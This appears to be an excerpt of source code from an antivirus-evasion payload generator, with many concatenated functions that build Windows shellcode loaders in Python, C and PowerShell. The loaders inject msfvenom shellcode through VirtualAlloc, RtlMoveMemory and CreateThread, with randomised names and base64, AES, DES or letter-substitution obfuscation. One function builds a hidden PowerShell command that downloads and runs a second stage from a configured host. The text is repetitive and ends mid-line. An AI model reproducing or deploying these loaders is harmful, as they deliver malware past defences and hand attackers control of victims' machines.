def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Base64 Encode Shellcode EncodedShellcode = base64.b64encode(Shellcode) # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandT = randomizer.randomString() PayloadCode = 'import ctypes\n' PayloadCode += 'import base64\n' PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n" PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n" PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def cVirtualAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Start creating our C payload PayloadFile = open("payload.c", "w") PayloadFile.write("#include <windows.h>\n") PayloadFile.write("#include <stdio.h>\n") PayloadFile.write("#include <string.h>\n") PayloadFile.write("int main()\n") PayloadFile.write("{\n") PayloadFile.write(" LPVOID lpvAddr;\n") PayloadFile.write(" HANDLE hHand;\n") PayloadFile.write(" DWORD dwWaitResult;\n") PayloadFile.write(" DWORD threadID;\n\n") PayloadFile.write("unsigned char buff[] = \n") PayloadFile.write('"' + Shellcode + '";\n\n') PayloadFile.write("lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);\n") PayloadFile.write("RtlMoveMemory(lpvAddr,buff, strlen(buff));\n") PayloadFile.write("hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n") PayloadFile.write("dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n") PayloadFile.write("return 0;\n") PayloadFile.write("}") PayloadFile.close() # Compile our C code csupport.compilemingw()
def generate(self): # Generate Shellcode Using msfvenom self.shellcode = shellcode.Shellcode() Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def pyVirtualAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() # Create Payload File PayloadFile = open('payload.py', 'w') PayloadFile.write('#!/usr/bin/python\n\n') PayloadFile.write('import ctypes\n\n') PayloadFile.write(ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n\n') PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n') PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n') PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n') PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n') PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))') PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Start creating our C payload PayloadCode = '#include <windows.h>\n' PayloadCode += '#include <stdio.h>\n' PayloadCode += '#include <string.h>\n' PayloadCode += 'int main()\n' PayloadCode += '{\n' PayloadCode += ' LPVOID lpvAddr;\n' PayloadCode += ' HANDLE hHand;\n' PayloadCode += ' DWORD dwWaitResult;\n' PayloadCode += ' DWORD threadID;\n\n' PayloadCode += 'unsigned char buff[] = \n' PayloadCode += '\"' + Shellcode + '\";\n\n' PayloadCode += 'lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40);\n' PayloadCode += 'RtlMoveMemory(lpvAddr,buff, strlen(buff));\n' PayloadCode += 'hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID);\n' PayloadCode += 'dwWaitResult = WaitForSingleObject(hHand,INFINITE);\n' PayloadCode += 'return 0;\n' PayloadCode += '}\n' return PayloadCode
def pyAESVAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandDecodeAES = randomizer.randomString() RandCipherObject = randomizer.randomString() RandDecodedShellcode = randomizer.randomString() RandShellCode = randomizer.randomString() RandPadding = randomizer.randomString() # Set AES Block Size and Padding BlockSize = 32 Padding = '{' # Function for Padding Encrypted Text to Fit the Block pad = lambda s: s + (BlockSize - len(s) % BlockSize) * Padding # Encrypt & Encode or Decrypt & Decode a String EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(Padding) # Generate Random AES Key secret = aes.aesKey() # Create Cipher Object with Generated Secret Key cipher = AES.new(secret) # Encrypt the String EncodedShellcode = EncodeAES(cipher, Shellcode) # Create Payload File PayloadFile = open('payload.py', 'w') PayloadFile.write('#!/usr/bin/python\n\n') PayloadFile.write('import ctypes\n') PayloadFile.write('from Crypto.Cipher import AES\n') PayloadFile.write('import base64\n') PayloadFile.write('import os\n\n') PayloadFile.write(RandPadding + ' = \'{\'\n') PayloadFile.write(RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n') PayloadFile.write(RandCipherObject + ' = AES.new(\'' + secret + '\')\n') PayloadFile.write(RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n') PayloadFile.write(RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n\n') PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n') PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n\n') PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n\n') PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n') PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))') PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() # Create Payload code PayloadCode = "import ctypes\n" PayloadCode += ShellcodeVariableName + " = bytearray('" + Shellcode + "')\n" PayloadCode += ( RandPtr + " = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(" + ShellcodeVariableName + ")),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" ) PayloadCode += ( RandBuf + " = (ctypes.c_char * len(" + ShellcodeVariableName + ")).from_buffer(" + ShellcodeVariableName + ")\n" ) PayloadCode += ( "ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(" + RandPtr + ")," + RandBuf + ",ctypes.c_int(len(" + ShellcodeVariableName + ")))\n" ) PayloadCode += ( RandHt + " = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(" + RandPtr + "),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" ) PayloadCode += "ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(" + RandHt + "),ctypes.c_int(-1))\n" if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Start creating our C payload PayloadCode = 'unsigned char payload[]=\n' PayloadCode += '\"' + Shellcode + '\";\n' PayloadCode += 'int main(void) { ((void (*)())payload)();}\n' return PayloadCode
def generate(self): # randomize the output file so we don't overwrite anything randName = randomizer.randomString(5) + ".exe" outputFile = settings.TEMP_DIR + randName # the command to invoke hyperion. TODO: windows compatibility hyperionCommand = "wine hyperion.exe " + self.required_options["original_exe"][0] + " " + outputFile print helpers.color("\n[*] Running Hyperion on " + self.required_options["original_exe"][0] + "...") # be sure to set 'cwd' to the proper directory for hyperion so it properly runs p = subprocess.Popen(hyperionCommand, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=settings.VEIL_PATH+"tools/hyperion/", shell=True) stdout, stderr = p.communicate() try: # read in the output .exe from /tmp/ f = open(outputFile, 'rb') PayloadCode = f.read() f.close() except IOError: print "\nError during Hyperion execution:\n" + helpers.color(stdout, warning=True) raw_input("\n[>] Press any key to return to the main menu:") return "" # cleanup the temporary output file. TODO: windows compatibility p = subprocess.Popen("rm " + outputFile, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout, stderr = p.communicate() return PayloadCode
def pyherion(code): """ Generates a crypted hyperion'esque version of python code using base64 and AES with a random key, wrapped in an exec() dynamic launcher. code = the python source code to encrypt Returns the encrypted python code as a string. """ imports = list() codebase = list() # strip out all imports from the code so pyinstaller can properly # launch the code by preimporting everything at compiletime for line in code.split("\n"): if not line.startswith("#"): # ignore commented imports... if "import" in line: imports.append(line) else: codebase.append(line) # generate a random 256 AES key and build our AES cipher key = randomizer.randomKey(32) cipherEnc = AES.new(key) # encrypt the input file (less the imports) encrypted = encryption.EncodeAES(cipherEnc, "\n".join(codebase)) # some random variable names b64var = randomizer.randomString(5) aesvar = randomizer.randomString(5) # randomize our base64 and AES importing variable imports.append("from base64 import b64decode as %s" %(b64var)) imports.append("from Crypto.Cipher import AES as %s" %(aesvar)) # shuffle up our imports random.shuffle(imports) # add in the AES imports and any imports found in the file crypted = ";".join(imports) + "\n" # the exec() launcher for our base64'ed encrypted string crypted += "exec(%s(\"%s\"))" % (b64var,base64.b64encode("exec(%s.new(\"%s\").decrypt(%s(\"%s\")).rstrip('{'))\n" %(aesvar,key,b64var,encrypted))) return crypted
def cVoidPointer (): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Start creating our C payload PayloadFile = open('payload.c', 'w') PayloadFile.write('unsigned char payload[]=\n') PayloadFile.write('\"' + Shellcode + '\";\n') PayloadFile.write('int main(void) { ((void (*)())payload)();}') PayloadFile.close() # Compile our C code csupport.compilemingw()
def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() PayloadCode = 'from ctypes import *\n' PayloadCode += RandReverseShell + ' = \"' + Shellcode + '\"\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): # Generate Shellcode Using msfvenom self.shellcode = shellcode.Shellcode() Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandDecodeAES = randomizer.randomString() RandCipherObject = randomizer.randomString() RandDecodedShellcode = randomizer.randomString() RandShellCode = randomizer.randomString() RandPadding = randomizer.randomString() # Generate Random AES Key secret = randomizer.randomKey() # Create Cipher Object with Generated Secret Key cipher = AES.new(secret) EncodedShellcode = encryption.EncodeAES(cipher, Shellcode) # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from Crypto.Cipher import AES\n' PayloadCode += 'import base64\n' PayloadCode += 'import os\n' PayloadCode += RandPadding + ' = \'{\'\n' PayloadCode += RandDecodeAES + ' = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(' + RandPadding + ')\n' PayloadCode += RandCipherObject + ' = AES.new(\'' + secret + '\')\n' PayloadCode += RandDecodedShellcode + ' = ' + RandDecodeAES + '(' + RandCipherObject + ', \'' + EncodedShellcode + '\')\n' PayloadCode += RandShellCode + ' = bytearray(' + RandDecodedShellcode + '.decode("string_escape"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + RandShellCode + ')).from_buffer(' + RandShellCode + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + RandShellCode + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): self.shellcode = shellcode.Shellcode() shellcode = self.shellcode.generate() shellcode = ",0".join(shellcode.split("\\"))[1:] baseString = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); "@ $o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,0x1000,0x3000,0x40); [Byte[]]$sc = %s; for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} $z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (shellcode) powershell_command = unicode(baseString) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) payloadName = randomizer.randomString() # write base64 payload out to disk veil.PAYLOAD_SOURCE_PATH secondStageName = veil.PAYLOAD_SOURCE_PATH + payloadName f = open( secondStageName , 'w') f.write("powershell -Enc %s\n" %(powershell_command)) f.close() # give notes to the user self.notes = "\n\tsecondary payload written to " + secondStageName + " ," self.notes += " serve this on http://%s:%s\n" %(self.required_options["DownloadHost"][0], self.required_options["DownloadPort"][0],) # build our downloader shell downloaderCommand = "iex (New-Object Net.WebClient).DownloadString(\"http://%s:%s/%s\")\n" %(self.required_options["DownloadHost"][0], self.required_options["DownloadPort"][0], payloadName) powershell_command = unicode(downloaderCommand) blank_command = "" for char in powershell_command: blank_command += char + "\x00" powershell_command = blank_command powershell_command = base64.b64encode(powershell_command) downloaderCode = "x86 powershell command:\n" downloaderCode += "\tpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command downloaderCode += "\n\nx64 powershell command:\n" downloaderCode += "\t%WinDir%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc " + powershell_command + "\n" return downloaderCode
def pyvoidpointer(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names RandShellcode = randomizer.randomString() RandReverseShell = randomizer.randomString() RandMemoryShell = randomizer.randomString() # Create Payload File PayloadFile = open("payload.py", "w") PayloadFile.write("#!/usr/bin/python\n\n") PayloadFile.write("from ctypes import *\n\n") PayloadFile.write(RandReverseShell + ' = "' + Shellcode + '"\n') PayloadFile.write( RandMemoryShell + " = create_string_buffer(" + RandReverseShell + ", len(" + RandReverseShell + "))\n" ) PayloadFile.write(RandShellcode + " = cast(" + RandMemoryShell + ", CFUNCTYPE(c_void_p))\n") PayloadFile.write(RandShellcode + "()") PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def pyLetterSubVAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names SubbedShellcodeVariableName = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandDecodedLetter = randomizer.randomString() RandCorrectLetter = randomizer.randomString() RandSubScheme = randomizer.randomString() # Letter Substitution Variables EncodeWithThis = "c" DecodeWithThis = "t" # Create Letter Substitution Scheme SubScheme = string.maketrans(EncodeWithThis, DecodeWithThis) # Escaping Shellcode Shellcode = Shellcode.encode("string_escape") # Create Payload File PayloadFile = open('payload.py', 'w') PayloadFile.write('#!/usr/bin/python\n\n') PayloadFile.write('import ctypes\n') PayloadFile.write('from string import maketrans\n\n') PayloadFile.write(RandDecodedLetter + ' = "t"\n') PayloadFile.write(RandCorrectLetter + ' = "c"\n\n') PayloadFile.write(RandSubScheme + ' = maketrans('+ RandDecodedLetter +', '+ RandCorrectLetter + ')\n\n') PayloadFile.write(SubbedShellcodeVariableName + ' = \"'+ Shellcode.translate(SubScheme) +'\"\n\n') PayloadFile.write(SubbedShellcodeVariableName + ' = ' + SubbedShellcodeVariableName + '.translate(' + RandSubScheme + ')\n') PayloadFile.write(ShellcodeVariableName + ' = bytearray(' + SubbedShellcodeVariableName + '.decode(\"string_escape\"))\n\n') PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n') PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n') PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n') PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n') PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))') PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def generate(self): # Generate Shellcode Using msfvenom self.shellcode = shellcode.Shellcode() Shellcode = self.shellcode.generate() # Generate Random Variable Names SubbedShellcodeVariableName = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() RandDecodedLetter = randomizer.randomString() RandCorrectLetter = randomizer.randomString() RandSubScheme = randomizer.randomString() # Letter Substitution Variables EncodeWithThis = "c" DecodeWithThis = "t" # Create Letter Substitution Scheme SubScheme = string.maketrans(EncodeWithThis, DecodeWithThis) # Escaping Shellcode Shellcode = Shellcode.encode("string_escape") # Create Payload File PayloadCode = 'import ctypes\n' PayloadCode += 'from string import maketrans\n' PayloadCode += RandDecodedLetter + ' = "t"\n' PayloadCode += RandCorrectLetter + ' = "c"\n' PayloadCode += RandSubScheme + ' = maketrans('+ RandDecodedLetter +', '+ RandCorrectLetter + ')\n' PayloadCode += SubbedShellcodeVariableName + ' = \"'+ Shellcode.translate(SubScheme) +'\"\n' PayloadCode += SubbedShellcodeVariableName + ' = ' + SubbedShellcodeVariableName + '.translate(' + RandSubScheme + ')\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + SubbedShellcodeVariableName + '.decode(\"string_escape\"))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def pyDESVAlloc(): # Generate Shellcode Using msfvenom Shellcode = shellcode.genShellcode() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandDESKey = randomizer.randomString() RandDESPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() # Set IV Value and DES Key iv = ''.join(random.choice(string.ascii_letters) for x in range(8)) DESKey = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(8)) # Create DES Object and encrypt our payload desmain = DES.new(DESKey, DES.MODE_CFB, iv) EncShellCode = desmain.encrypt(Shellcode) # Create Payload File PayloadFile = open('payload.py', 'w') PayloadFile.write('#!/usr/bin/python\n\n') PayloadFile.write('from Crypto.Cipher import DES\n') PayloadFile.write('import ctypes\n\n') PayloadFile.write(RandIV + ' = \'' + iv + '\'\n') PayloadFile.write(RandDESKey + ' = \'' + DESKey + '\'\n') PayloadFile.write(RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n\n') PayloadFile.write(RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n\n') PayloadFile.write(ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n') PayloadFile.write(RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n') PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n\n') PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n\n') PayloadFile.write(RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n') PayloadFile.write('ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))') PayloadFile.close() # Create Supporting Files and Print Exit Message supportfiles.supportingFiles() messages.endmsg()
def generate(self): # Generate Shellcode Using msfvenom self.shellcode = shellcode.Shellcode() Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() ShellcodeVariableName = randomizer.randomString() RandIV = randomizer.randomString() RandDESKey = randomizer.randomString() RandDESPayload = randomizer.randomString() RandEncShellCodePayload = randomizer.randomString() # Set IV Value and DES Key iv = randomizer.randomKey(8) DESKey = randomizer.randomKey(8) # Create DES Object and encrypt our payload desmain = DES.new(DESKey, DES.MODE_CFB, iv) EncShellCode = desmain.encrypt(Shellcode) # Create Payload File PayloadCode = 'from Crypto.Cipher import DES\n' PayloadCode += 'import ctypes\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandDESKey + ' = \'' + DESKey + '\'\n' PayloadCode += RandDESPayload + ' = DES.new(' + RandDESKey + ', DES.MODE_CFB, ' + RandIV + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandDESPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = randomizer.randomString() RandPtr = randomizer.randomString() RandBuf = randomizer.randomString() RandHt = randomizer.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += ShellcodeVariableName +' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('+ ShellcodeVariableName +')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode 